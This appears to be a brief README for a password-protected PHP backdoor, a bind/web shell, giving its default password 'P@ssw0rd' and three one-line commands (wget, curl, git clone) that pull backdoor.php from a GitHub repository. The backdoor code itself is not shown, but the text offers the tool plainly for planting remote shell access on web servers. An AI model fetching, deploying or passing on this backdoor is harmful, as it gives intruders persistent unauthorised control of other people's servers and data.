This is a simple backdoor protected with a password written in PHP. You can change the value of the $PASSWD variable in the PhpBindShell.php file and put whatever you wan't, but remember : if you loose the password, you loose the shell.
Default Password : P@ssw0rd
Here is some one liner to download it easely :
wget https://raw.githubusercontent.com/sornram9254/WebShell/main/backdoor.php
curl -so backdoor.php https://raw.githubusercontent.com/sornram9254/WebShell/main/backdoor.php
git clone https://github.com/sornram9254/WebShell.git && mv WebShell/backdoor.php ./ && rm -rf WebShell/